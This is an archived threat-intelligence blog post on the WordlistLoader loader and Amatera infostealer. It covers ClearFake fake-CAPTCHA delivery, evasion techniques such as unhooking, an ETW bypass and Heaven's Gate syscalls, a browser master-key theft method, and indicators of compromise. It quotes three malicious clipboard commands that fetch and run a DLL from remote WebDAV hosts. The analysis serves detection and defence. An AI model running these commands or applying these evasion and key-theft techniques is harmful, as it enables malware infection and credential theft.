{
	"id": "920f1233-3eac-48d4-91aa-f109dc24948c",
	"created_at": "2026-09-08T02:03:04.076729Z",
	"updated_at": "2026-09-08T02:04:46.649485Z",
	"deleted_at": null,
	"sha1_hash": "1e5aab47c71b8d2cee10f5f03426e8c6bc3a1538",
	"title": "WordlistLoader Delivering Amatera via ClearFake Campaigns",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 6267373,
	"plain_text": "https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nWordlistLoader Delivering Amatera via ClearFake Campaigns\n\nBy Vojtěch Krejsa\n\nPublished: 2026-08-18 · Archived: 2026-09-08 02:00:37 UTC\n\nKey Points\n\nGen Threat Labs has identified WordlistLoader, a new loader used to deliver Amatera Stealer via ClearFake\n\ncampaigns.\n\nAmatera has been actively developed over the past few months and has gradually become one of the most\n\nprevalent infostealers in our user base.\n\nIn this technical blog post, we highlight the changes Amatera has introduced between version 4.0.2 Beta\n\n(documented by eSentire) and version 4.3.3-alpha1, the latest version at the time of writing.\n\nKey changes include enhanced static obfuscation, hardened syscall invocation through the WoW64\n\ntransition, dynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and a\n\nredesigned Application-Bound Encryption bypass.\n\nIntroduction\n\nOver the past few months, Amatera Stealer (also often referred to as ACR Stealer) has been actively developed\n\nand has gradually become one of the most prevalent infostealer in our user base. Most recently, we've been\n\nobserving Amatera being distributed via ClearFake campaigns leveraging FakeCaptchas.\n\nAlthough FakeCaptcha, as a technique, is well-known and has been documented countless times, it has proven to\n\nbe one of the most effective social engineering techniques for luring victims into infecting their own machines,\n\nwhich is why we still keep seeing it so often in malware campaigns, and why we proactively defend against these\n\ntypes of attacks with our Clipboard protection.\n\nIn the case of ClearFake campaings, FakeCaptchas are served through compromised, legitimate websites, via\n\ninjected malicious JavaScripts that overlay a fake CAPTCHA verification on top of the real website. Once the\n\nvisitor clicks on the \"I'm not a robot\" checkbox, they're walked through the well-known ClickFix flow, where a\n\nmalicious command is copied into their clipboard and the victim is instructed to paste it into the Windows Run\n\ndialog and execute it, leading to the download of WordlistLoader that ultimately results in the execution of\n\nAmatera.\n\nPage 1 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nFigure 1: Examples of compromised websites serving ClearFake’s FakeCaptchas.\n\nAs for the aforementioned injected JavaScript, it is embedded in the webpage as a Base64-encoded blob. The blob\n\ncontains obfuscated JavaScript whose purpose is to retrieve another JavaScript from a smart contract stored on a\n\nblockchain (a technique known as EtherHiding), and dynamically execute the retrieved code. Through several\n\nsubsequent stages, the retrieved code performs additional checks and ultimately injects a fake CAPTCHA into the\n\ncompromised webpage.\n\nFigure 2: Example of a malicious injected JavaScript serving FakeCaptcha.\n\nSince the whole chain of how the fake CAPTCHA reaches the webpage has already been documented by Expel,\n\nwe do not cover it further here. Interested readers can refer to their article. Instead, we focus on what happens\n\nwhen the user executes the copied command.\n\nThe clipboard commands follow a consistent pattern: they use  conhost  to launch a hidden  cmd  process, map a\n\nremote WebDAV share using  pushd , and finally invoke the  Run  export of the downloaded DLL\n\n(WordlistLoader) via  rundll32 .\n\nconhost --headless -- cmd ^\u0026/v:on /c \"set s=@SSL\u0026pu^shd \\\\kudbwiw\\[.\\]shop-nitrilean.com!s!\\96fd1e29-\n\n81b3-4b81-9231-2c7e2f78ae48 \u0026 r^undl^l32 gmwmvymdzgqgptwvbslq.dll,Run\"\n\nconhost --headless -- cmd ^\u0026/v:on /c \"set s=@SSL\u0026pu^shd \\\\nqhuew\\[.\\]shop-\n\nthyrafemmebalance.com!s!\\34fe76b7-73a8-42f7-bfc0-089b5069cff7 \u0026 ru^ndl^l32\n\nazjsbxanuofzndqtmtlv.dll,Run\"\n\nconhost --headless -- cmd ^\u0026/v:on /c \"set s=@SSL\u0026pu^shd \\\\lldoxqa\\[.\\]shop-nitrilean.com!s!\\df696b95-\n\nbdff-48c0-94da-68eb6598a012 \u0026 r^undl^l32 dldwwqhuxbpvaqeyylar.dll,Run\"\n\nThis pattern closely resembles campaigns recently documented by Microsoft, suggesting an evolution of the\n\ndistribution chain, with the operators using a similar delivery mechanism while replacing the Python-based\n\nloaders with WordlistLoader.\n\nPage 2 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nWordlistLoader\n\nThe primary purpose of WordlistLoader, an intermediate stage in the Amatera infection chain, is to reconstruct a\n\nshellcode that serves as the entry point for subsequent stages. Before transferring control to the shellcode,\n\nWordlistLoader performs three preparatory actions, two of which serve as defense-evasion mechanisms:\n\nA single-instance check based on a named event\n\nUnhooking of all loaded modules\n\nAn ETW bypass based on a hardware breakpoint and VEH\n\nFigure 3: WordlistLoader’s main.\n\nUnhooking Loaded Modules\n\nTo determine whether a function is hooked, WordlistLoader enumerates loaded modules with\n\nCreateToolhelp32Snapshot  using the  TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32  flags, skips those whose\n\nname contains  .exe , and compares the first instruction of each named export with the corresponding instruction\n\nin a clean copy read from disk.\n\nFigure 4: WordlistLoader unhooking all modules.\n\nA function is considered hooked when its in-memory prologue begins with one of the following jump opcodes and\n\nthe clean copy does not, or when both begin with a jump, but to a different target:\n\nE9  (near relative jump)\n\nEB  (short relative jump)\n\nEA  (far absolute jump)\n\nFF  (indirect jump, although only  FF 25 , i.e.  jmp dword ptr [addr] , is handled correctly)\n\nBefore the opcode is read, a single legacy prefix ( 0x2E ,  0x36 ,  0x3E ,  0x64 ,  0x65 ,  0x66 ,  0xF0 , or\n\n0xF2 ) is skipped on either side, so that a prefixed jump is not mistaken for untouched code. Additionally, if the\n\nin-memory prologue is not a jump but matches  4C 8B D1 E9 , i.e. an x64 syscall stub (a  mov r10, rcx  followed\n\nby a jump instruction), the comparison is shifted three bytes forward to start at the jump. Whenever a hook is\n\ndetected, the loader computes the length of the offending jump and restores the original bytes from the clean copy.\n\nPage 3 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nFigure 5: WordlistLoader’s checks whether a function is hooked.\n\nNotably, the copy read from disk is never relocated, which is precisely why the loader checks for a jump instead of\n\nsimply diffing the two prologues, as a mapped module legitimately differs from its on-disk copy wherever an\n\nabsolute address appears. This is exactly the case with  FF 25  thunks, where WordlistLoader compares only the\n\nlow 16 bits of the pointer, which the relocation delta cannot affect, as image bases are always aligned to 64 kB.\n\nETW Bypass\n\nThe second defense-evasion mechanism employed by WordlistLoader is a hardware-breakpoint-based ETW\n\n(Event Tracing for Windows) bypass, which comes down to setting a hardware breakpoint on\n\nntdll!NtTraceEvent  and registering a vectored exception handler. Every call to  NtTraceEvent  then raises an\n\nEXCEPTION_SINGLE_STEP  exception, which the handler resolves by pointing the instruction pointer ( EIP ) at a\n\nstub that does nothing but return zero, and resuming execution there. Execution therefore never reaches the body\n\nof  NtTraceEvent , so the event is never logged, and since the call still returns  STATUS_SUCCESS  ( 0x00000000 ),\n\nthe caller has no indication anything went wrong.\n\nFigure 6: WordlistLoader setting up a hardware breakpoint on ntdll!NtTraceEvent.\n\nFigure 7: WordlistLoader’s VEH handler.\n\nBuilding the Shellcode\n\nFinally, the loader proceeds to reconstruct the shellcode, which is stored in encoded form as a sequence of plain\n\nEnglish words, with each word representing exactly one byte. The mapping from English words to byte values is\n\nPage 4 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\ndefined by a build-specific wordlist of 256 distinct words: the word at index 0 decodes to  0x00 , the word at\n\nindex 144 to  0x90 , and so on.\n\nBoth the wordlist and the encoded sequence are stored as arrays of pointers, so the loader matches addresses rather\n\nthan the strings themselves. Rebuilding the shellcode thus comes down to iterating over the word sequence,\n\nlooking up each word in the list, and writing the index of the matching entry into the output buffer. Once the entire\n\nsequence has been processed, the buffer contains the reconstructed shellcode. Hence the name WordlistLoader.\n\nFigure 8: WordlistLoader decoding the shellcode.\n\nFigure 9: WordlistLoader’s wordlist and the shellcode encoded as English words.\n\nNotably, we also identified a modified version of WordlistLoader in which the wordlist is replaced with an array\n\nof UUIDs, while the loader's execution flow otherwise remains unchanged. Rather than encoding the shellcode\n\none byte at a time, this variant represents it as a sequence of 16-byte UUID-encoded chunks. The loader\n\nreconstructs the shellcode by iterating over the array and passing each entry to  UuidFromStringA , which converts\n\nthe UUID into the corresponding 16 bytes of shellcode.\n\nFigure 10: WordlistLoader’s variant encoding the shellcode as UUIDs.\n\nThe Shellcode\n\nThe shellcode begins with a NOP sled, followed by an anti-emulation stub whose sole purpose, apart from burning\n\ntime, is to repeatedly patch a single byte. Using the standard  call/pop  trick, the stub takes its own return address\n\nas the patching target and enters an outer loop of 254 rounds, with each iteration first executing an inner delay\n\nPage 5 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nloop and then patching the target address (which is the same for every iteration). The value written decreases with\n\nevery round, ultimately reaching  0x90  on the final iteration. As shown in Figure 11 below, the patched byte is\n\npart of a  call dword ptr [eax-0x6F6F6F70]  instruction, which corresponds to the  FF 90 90 90 90 90\n\nopcodes. Therefore, overwriting the first byte with  0x90  turns the  call  instruction into a run of NOPs,\n\nallowing execution to fall through to the decryption stub that follows.\n\nThe stub's anti-emulation purpose is apparent from its runtime cost, as each of the 254 patches is preceded by the\n\ndelay loop of 16,777,215 ( 0xFFFFFF ) iterations that perform no meaningful computation.\n\nFigure 11: The shellcode’s execution flow.\n\nExecution then proceeds to the decryption stub, which uses the same  call/pop  trick to obtain a pointer to the\n\nencrypted blob that follows. The blob consists of a sequence of 33-byte records, each comprising a one-byte XOR\n\nkey followed by 32 encrypted bytes, together forming a next stage executed afterward. For each record, the stub\n\nXORs the 32 encrypted bytes with that record's key and writes them back into the same buffer, dropping the key\n\nbytes and repeating this cycle until it encounters a  0x11C311C3  marker terminating the stream.\n\nFinally, execution is transferred to the decrypted code, which resolves  NtProtectVirtualMemory , re-protects the\n\nregion as  PAGE_EXECUTE  (dropping the write access needed for the in-place decryption), and hands control over to\n\na reflective loader responsible for unpacking and loading Amatera.\n\nFigure 12: The layout of the encrypted blob.\n\nInterestingly, the reflective loader is identical to the one eSentire documented several months ago, suggesting it\n\nmight originate directly from the Amatera authors. As for WordlistLoader, we've only observed it delivering\n\nAmatera, which would point in the same direction, though we have no further evidence to support that claim.\n\nPage 6 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nFigure 13: Infection chain overview.\n\nAmatera 4.3.3-alpha1\n\nAmatera was recently documented by eSentire, covering version 4.0.2 Beta. Since then, however, the stealer has\n\nremained under active development and has moved through several versions, with the latest one we have observed\n\nbeing 4.3.3-alpha1. In this section, we focus on the changes introduced between version 4.0.2 Beta and version\n\n4.3.3-alpha1.\n\nStatic Obfuscation\n\nFirst of all, Amatera has undergone several updates in terms of static obfuscation. The first major change was\n\nintroduced in version 4.1.0-alpha.1, when Amatera began incorporating control-flow flattening and indirect\n\ncontrol-flow obfuscation into its builds, roughly doubling the size of the resulting binaries.\n\nFigure 14: Example of Amatera’s control-flow-flattened function.\n\nPage 7 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nFigure 15: Example of an Amatera function obfuscated using indirect control flow.\n\nAnother notable change concerns API hashing. In version 4.0.2 Beta, all imports were resolved using a single\n\nhashing algorithm, so precomputing the hashes once was sufficient to annotate every call. In newer versions, the\n\nresolution is spread across dozens of nearly identical resolvers, each using its own multiply-rotate-XOR hash with\n\ndifferent constants and operation order. Consequently, the same API name maps to a different hash value\n\ndepending on which resolver handles the call. Hashes must therefore be precomputed separately for each resolver,\n\nslowing down the analysis.\n\nFinally, as is quite typical for Amatera, it has revised its string obfuscation once again. Each string is now stored\n\nas a ciphertext blob, with its length and a numeric key index supplied at the decryption call site. For every byte,\n\nthe key index and the byte's offset are mixed into a 64-bit state through four splitmix64-style rounds, producing\n\nfour key bytes. The plaintext byte is then recovered as  ROR((ciphertext ^ key_3) - key_2, key_1) ^ key_0 .\n\nInterestingly, the decryption routine also employs a deliberate stack modification aimed at thwarting\n\ndecompilation. The modification occurs in a dead branch guarded by a flag that is never set anywhere in the\n\nbinary. Should the branch ever be taken, it would subtract  0x7FFFFF00  from  ESP , call a stub that does nothing\n\nbut return zero, and add the same value back to  ESP . Such a stack shift (of almost 2 GB) is nothing a regular\n\ncompiler would ever emit, and is enough to break IDA's stack-frame reconstruction and make it refuse to\n\ndecompile the function. For now, we have only observed this trick in a single function, but given the pace at which\n\nAmatera evolves, it would not be surprising to see it spread across the whole binary in the future.\n\nFigure 16: Amatera’s stack manipulation.\n\nHardened Syscall Invocation Through the WoW64 Transition\n\nFirst, it is appropriate to acknowledge Stephen Eckels, whose article WOW64!Hooks: WOW64 Subsystem\n\nInternals and Hooking Techniques explains the mechanisms discussed below in greater detail. Second, it is worth\n\nPage 8 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nhighlighting that Amatera is a 32-bit stealer, as that is what makes the techniques described below possible.\n\nIn a 32-bit process running on 64-bit Windows, every interaction with the operating system has to eventually end\n\nin the 64-bit kernel. From the process's point of view, however, everything has to look as if it were running on 32-\n\nbit Windows. That is where the WoW64 (Windows on Windows) layer comes into play, seamlessly translating\n\nWinAPI calls from 32-bit user space to the 64-bit operating system kernel. Simply put, the whole mechanism is\n\nbuilt around the fact that the process runs with two ntdlls loaded side by side: the 32-bit one the application\n\ninteracts with, which \"forwards\" the call to the WoW64 layer, and the 64-bit one, used once the call reaches 64-bit\n\nmode.\n\nIn practice, the application calls a function in the 32-bit ntdll, which passes control to\n\nntdll!Wow64SystemServiceCall . From there, the execution continues through  ntdll!Wow64Transition  and\n\nlands in  wow64cpu!KiFastSystemCall , the stub through which the WoW64 layer leaves the 32-bit world. The\n\ntransition is achieved by a far jump using the  0x33  selector, which switches the processor into 64-bit mode,\n\nwhere the WoW64 layer issues the actual syscall.\n\nIn an effort to be stealthier and evade user-mode hooks, Amatera skips the 32-bit ntdll part of that chain altogether,\n\nresolving the syscall numbers on its own and entering the WoW64 layer directly through\n\nwow64cpu!KiFastSystemCall . The transition itself is performed as an indirect call to  TEB-\u003eWOW32Reserved , a\n\nfield that conveniently holds the address of  wow64cpu!KiFastSystemCall .\n\nIn version 4.0.2 Beta, Amatera had a dedicated stub for every syscall it wanted to invoke this way, each of them\n\nloading the masked SSN from a global, unmasking it with a XOR, and calling  TEB-\u003eWOW32Reserved  directly\n\nthrough the  call large dword ptr fs:0C0h  instruction. However, regular applications do not make direct calls\n\nto  TEB-\u003eWOW32Reserved , making the sequence fairly noisy.\n\nFigure 17: Example of a WoW64 syscall gate in Amatera 4.0.2 Beta.\n\nThat is why, in newer versions, Amatera no longer invokes  TEB-\u003eWOW32Reserved  directly. Instead, it uses indirect\n\ncalls routed through a global variable holding the same transition address. On top of that, most of the stubs have\n\nbeen padded with random junk instructions scattered between the remaining instructions, so that the stubs leave\n\nbehind neither the  fs:0C0h  reference nor the uniform layout.\n\nFigure 18: Example of a WoW64 syscall gate in Amatera 4.3.3-alpha1.\n\nMoreover, the address of  wow64cpu!KiFastSystemCall  that is stored in that global variable is not retrieved by a\n\nsimple read of  fs:[0xC0] , but through a dedicated Heaven's Gate stub. Newer versions also check the resolved\n\nPage 9 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\ntransition address before putting it to use, by verifying that it falls within the range of  wow64cpu.dll , i.e. that the\n\ngate has not been redirected elsewhere (hooked).\n\nFigure 19: Amatera resolving TEB-\u003eWOW32Reserved using Heaven's Gate.\n\nFigure 20: Amatera's verification that TEB-\u003eWOW32Reserved points inside wow64cpu.dll.\n\nx64 Syscall Trampolines Executed Through Heaven's Gate\n\nBeing a 32-bit process, however, also brings other challenges Amatera has to deal with, most notably when\n\ninteracting with 64-bit browsers during the Application-Bound Encryption (ABE) bypass. Reaching into a 64-bit\n\nprocess requires working with 64-bit pointers, which do not fit through the WoW64 gate, and while the 32-bit\n\nntdll exposes a handful of  NtWow64*  helpers for exactly that purpose (such as, for example,\n\nNtWow64AllocateVirtualMemory64  or  NtWow64WriteVirtualMemory64 ), they do not cover everything Amatera\n\nrequires for its injection technique.\n\nThat is why Amatera employs Heaven's Gate, a technique that allows 64-bit code to be executed from within a 32-\n\nbit process on a 64-bit operating system (essentially, a manual version of the mode switch the WoW64 layer\n\nperforms internally, naturally skipping the 32-bit ntdll layer as well). Heaven's Gate, as such, however, is nothing\n\nnew in Amatera and has been there for quite some time already. What has changed is what the Gate leads to for a\n\npart of the calls Amatera makes through it.\n\nIn version 4.0.2 Beta, Amatera used Heaven's Gate to invoke 64-bit ntdll exported functions, passing the\n\narguments according to the standard Microsoft x64 calling convention, with the execution therefore going through\n\nthe export's prologue. However, just as AV and EDR products can hook exported functions in the 32-bit ntdll, they\n\ncan hook the 64-bit ones as well. To avoid that, in newer versions, a fixed set of twelve syscalls (for example,\n\nNtReadVirtualMemory ,  NtWriteVirtualMemory ,  NtAllocateVirtualMemory ,  NtMapViewOfSection , and\n\nPage 10 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nNtSetIoCompletion ) is set up to skip the export entirely, with Amatera resolving their syscall numbers on its own\n\n(and validating them against a pristine copy of ntdll read from disk) and issuing each call through an indirect x64\n\nsyscall trampoline built at runtime.\n\nEach trampoline consists of a 24-byte stub containing  mov r10, rcx ,  mov eax, SSN , and a RIP-relative indirect\n\njump to a  syscall; ret  gadget inside ntdll (located by scanning the ntdll mapped in memory). To build and\n\nexecute them, Amatera creates a section with  NtCreateSection  and maps it twice in its own process using\n\nNtMapViewOfSection : once with  RW  permissions for writing the stubs and once with  RX  permissions for\n\nrunning them.\n\nFigure 21: Amatera building the x64 syscall trampoline.\n\nRevamped Application-Bound Encryption Bypass\n\nUp until recently, Amatera bypassed Application-Bound Encryption the same way most stealers do, i.e., by\n\ninjecting a payload into the browser process and invoking  IElevator::DecryptData  through the COM interface\n\nto decrypt the  v20_master_key  directly from the browser's context.\n\nSince version 4.1.0-alpha.1, however, the bypass has been revamped into an approach that closely resembles that\n\nof Remus/Lumma. In fact, the bypass is so alike that we believe Amatera's implementation was directly inspired\n\nby it. Therefore, as we have already covered the technique in our previous blog post, we will only do a quick recap\n\nof the bypass's main idea and focus solely on where Amatera's approach differs. For interested readers, we\n\nrecommend revisiting our earlier post.\n\nFrom a high-level perspective, the bypass relies on the fact that a running Chromium-based browser keeps the\n\nv20_master_key  stored in memory. There, however, the key is protected with  CryptProtectMemory  using the\n\nCRYPTPROTECTMEMORY_SAME_PROCESS  flag, which limits decryption to the process that encrypted the data.\n\nTherefore, the bypass comes down to locating the protected key and injecting a payload that decrypts it using the\n\ncomplementary  CryptUnprotectMemory  from within the browser's context.\n\nTo find the key, Amatera, just like Remus and Lumma, scans the browser's memory for a 20-byte pattern, trying to\n\nfind the  lea  instruction that loads the address of the  os_crypt_async::Encryptor  vftable, as that is the class\n\nholding the protected  v20_master_key . On a match, it resolves the vftable address using the displacement of the\n\nlea  instruction, and since a pointer to it sits at the very beginning of every instance of that class, a second scan\n\nof the browser's memory makes it possible to locate a live instance holding the key. From there, extracting the\n\nprotected  v20_master_key  is just a matter of walking the object's tree of key entries and taking the one tagged\n\nv20 .\n\nPage 11 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nThe clearest evidence of the shared origin, however, is the signature itself. Amatera builds the pattern as  48 8D 05\n\n00 00 00 00 48 89 01 48 8B 02 48 89 41 00 48 8D 41  and pairs it with the wildcard mask  0xEFF87 , the very\n\nsame mask Remus applies to  48 8D 05 8B CC 8D 02 48 89 01 48 8B 02 48 89 41 5B 48 8D 41 . Breaking it\n\ndown, the only positions in which the two patterns differ are the four displacement bytes of the  lea  instruction\n\nand the displacement byte of the  mov  instruction. These are precisely the five bytes the mask excludes from the\n\ncomparison, which Amatera leaves zeroed out, while Remus keeps the values from whichever  chrome.dll  build\n\nthe pattern was lifted from. Everything else, the mask included, matches byte for byte.\n\nFigure 22: Amatera building the scan pattern.\n\nFigure 23: Side-by-side comparison of Remus's and Amatera's pattern used in the ABE bypass.\n\nWhere Amatera's approach differs is in the size of the injected payload and the way it is injected into the browser.\n\nRemus and Lumma get by with less than a hundred bytes of shellcode as the payload has a single job: to call\n\nCryptUnprotectMemory  on the memory pointing to the encrypted  v20_master_key  and copy it into a pre-\n\nallocated buffer. Amatera's payload is considerably larger (thousands of bytes), but it also does considerably more.\n\nBesides the logic for decrypting the key, the payload carries the entire logic for locating it, as well as the logic for\n\nrecovering the legacy  v10_master_key .\n\nTo get the payload into the browser, Amatera creates two sections and maps each twice, once locally and once in\n\nthe browser. The first section holds the payload, mapped locally as  RW  and  RX  in the browser, whereas the\n\nsecond carries a configuration blob and the output area for the recovered keys, mapped as  RW  on both sides. The\n\nconfiguration blob holds the pointers to the native and crypto functions used by the payload, the path to the\n\nbrowser's  Local State , the address of the encrypted  v20_master_key , and the already mentioned ABE pattern\n\nwith the mask should the payload need to locate the key again (by default, the key is located by the stealer itself,\n\nreading the browser's memory remotely, but the payload can repeat the search on its own as a fallback).\n\nFinally, Amatera's approach differs in the way the payload is launched. Rather than creating a remote thread,\n\nAmatera hijacks the browser's thread pool, using the technique known as PoolParty variant 7 (Remote\n\nTP_DIRECT  Insertion), published by SafeBreach in 2023. It enumerates the browser's handles with\n\nNtQueryInformationProcess , duplicates them with  NtDuplicateObject , identifies the I/O completion port\n\namong them with  NtQueryObject , and queues a  TP_DIRECT  work item on it with  NtSetIoCompletion , leaving\n\nthe execution to one of the browser's own worker threads. The work item itself is a 72-byte  TP_DIRECT  structure\n\nPage 12 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nassembled by hand, with the callback placed at a hardcoded offset, and written into a small remote allocation.\n\nOnce the work item is queued, the stealer polls the output section for a marker signaling that the payload has\n\nfinished.\n\nSummary\n\nIn this analysis, we dissected WordlistLoader, a new loader used to deliver Amatera through ClearFake campaigns.\n\nWe covered the way it reconstructs shellcode from a wordlist of plain English words, the defense-evasion\n\nmechanisms it employs, and the shellcode itself that ultimately leads to the execution of Amatera.\n\nWe also covered the latest updates in Amatera, which has seen months of active development, with the effort\n\nshowing most clearly in its defense evasion. Between versions 4.0.2 Beta and 4.3.3-alpha1, the stealer employed\n\nheavier static obfuscation, hardened the way it reaches the kernel through the WoW64 transition, introduced\n\ndynamically generated x64 indirect-syscall trampolines invoked through Heaven's Gate, and revamped its\n\nApplication-Bound Encryption bypass into one closely resembling that of Remus/Lumma.\n\nIndicators of Compromise (IoCs)\n\nCompromised Websites Observed Serving ClearFake's FakeCaptchas\n\nabogadosrosarinos[.]com\n\naptisweb[.]com\n\navene-hebergement[.]com\n\nhttps-xhamster[.]com\n\nwww[.]caesarjaco[.]co[.]id/jasa-pengiriman-hewan\n\nskybap[.]shop\n\nWordlistLoader\n\neb883ff84700245a199dfbe120c3c2012b2dbf1ec97b26721fbda3ee7445c85a\n\ncd598cea811d8f73ca7afffa40e5963be9a82e01bad8ffcebb104b475c091faa\n\n84ffddad7e2eb1f476b857321b0cd54a7a283dbdb82bd3a13ea1b49862595d20\n\n124f2104ca9ee75a99aa998bb016c202f43b890d0173213846fa2495db7fa0d7\n\n9f3c2d1f150516edcdc274c3791f4e8301807b479ddf796fc019bc910054e3a1\n\n9a2d02fa59501e1438f852250c4fdb24086d8a0184ece32240091f91515bbf7d (UUID variant)\n\ne37cc7f678aa800b805aefcc57ad86251cb7b89a044c43c72be9a77f36a88e57 (UUID variant)\n\n596f7b1edd97a4e114413b6668151cae3c8a5c7729208d5c2150e65f9ceca6d7 (UUID variant)\n\n5f5b7c131c852275123ad55028c5f87692f4b206591011a13da5b085dc4df8fd (UUID variant)\n\n25fdc2c589a7df6dc45798b1a4a97a6a1d62d12326151e4a9a9d50fea8111b29 (UUID variant)\n\nAmatera\n\n9a969110c055c3f48af75ce8d2b75c2e7b898a4519a700c7a0cd1fcbc993ecad (Amatera 4.3.3-alpha1)\n\n7b8c30af2ca566927fb91e08c33ebb92089e86afb70d74715e5c7d8de6f9ecfc (Amatera 4.3.3-alpha1)\n\nPage 13 of 14\n\nhttps://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nd9402b049738d4679cb46f09d2511b9ac8f6842ffed29560a7e96046a811e841 (Amatera 4.3.1-alpha1)\n\n54ba68040413b23128455952e4a698df112a163d0498ded6f77e863d15113133 (Amatera 4.2.4-alpha2)\n\n8672bc4c60a731f80a57deb564f9b78b1a91607a1b5c20c12767a8ab72b09b6a (Amatera 4.2.3-alpha1)\n\n42095fff1452418550440d5adff87a10e6d04a704fedf2b221f83b6a974a0d73 (Amatera 4.2.2-alpha1)\n\n38ad801509af109dcd12a56ac931b795e39a7fcd5cd43698cccb7e051298a683 (Amatera 4.2.1-alpha1)\n\n88f769cf7c88e3bbbd1b72d8124b9a4b39ba8fe3e80ff76d682493033c34a598 (Amatera 4.2.0-alpha3)\n\nc4390e74aecd06d3bb355af7f403de0655d28cdc54fa68b1596d91c2b3bb0e46 (Amatera 4.2.0-alpha2)\n\nee394ed8118d22da6054ebec9434c4c7256af27e0cb479e17100e56f7b150b25 (Amatera 4.2.0-alpha1)\n\n90b7c9e9910c3512f4793b577a0b9025e8995cd67ee36e46f36b7b7b80b4d65f (Amatera 4.1.5-alpha)\n\nfee8d5964fcc23027685ee1124a19127ce58d4692c9df831bd1b900cdb86faeb (Amatera 4.1.4-alpha)\n\n147276f871a5a33a611a6ee112137f3aae136ea79fcbf07361cb7d0d26c87e4d (Amatera 4.1.1 Beta)\n\n2833fb725862866205b37619db050fbd84e6258682fa1d9485da0ae9257b9244 (Amatera 4.1.0-alpha.1)\n\nAmatera C2s\n\nhealth[.]luminexus[.]cc\n\nstream[.]luminfrastructure[.]cc\n\nstream[.]threatenbrick[.]cc\n\nyw[.]enhanceblabber[.]cc\n\npmpo[.]cloudvector[.]cc\n\ndust[.]packetflow[.]cc\n\nupdates[.]wildtrail[.]cc\n\napp-api[.]lensstory[.]cc\n\nproxy[.]fluxautomation[.]cc\n\nstream[.]pawpalace[.]cc\n\ndist[.]runtimeconsole[.]cc\n\nid[.]binaryharbor[.]cc\n\nwss[.]infrastructurecore[.]cc\n\nid[.]exhumepacifier[.]cc\n\nAmatera Dead Drops\n\ntelegra[.]ph/Executing-modules-as-scripts-06-16\n\ntelegra[.]ph/Using-Python-as-a-Calculator-06-05\n\ntelegra[.]ph/Jack-Little-04-18\n\ntelegra[.]ph/Parameters-04-03\n\ntelegra[.]ph/Jewel-03-06\n\ntelegra[.]ph/Catnap-Skimmed-03-06\n\nSource: https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns\n\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.gendigital.com/blog/insights/research/wordlistloader-delivering-amatera-via-clearfake-campaigns"
	],
	"report_names": [
		"wordlistloader-delivering-amatera-via-clearfake-campaigns"
	],
	"threat_actors": [],
	"ts_created_at": 1788832984,
	"ts_updated_at": 1788833086,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1e5aab47c71b8d2cee10f5f03426e8c6bc3a1538.pdf",
		"text": "https://archive.orkl.eu/1e5aab47c71b8d2cee10f5f03426e8c6bc3a1538.txt",
		"img": "https://archive.orkl.eu/1e5aab47c71b8d2cee10f5f03426e8c6bc3a1538.jpg"
	}
}